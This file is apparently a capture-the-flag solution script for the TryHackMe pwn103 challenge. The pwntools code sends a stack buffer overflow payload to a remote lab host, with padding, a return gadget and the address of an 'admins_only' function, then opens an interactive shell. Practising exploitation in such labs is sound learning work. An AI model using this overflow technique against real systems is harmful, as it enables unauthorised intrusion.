Files
ctfs/thm_pwn101/pwn103/a.py
T
2024-10-28 00:31:42 +03:00

19 lines
304 B
Python

#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./pwn103", checksec=False)
# r = process()
r = remote("10.10.167.194", 9003)
# funcs
s = lambda a: r.sendlineafter(b": ", a)
# buf
s(b"3")
buf = b"A"*40
buf += p64(0x401553)
buf += p64(target.sym.admins_only)
s(buf)
r.interactive()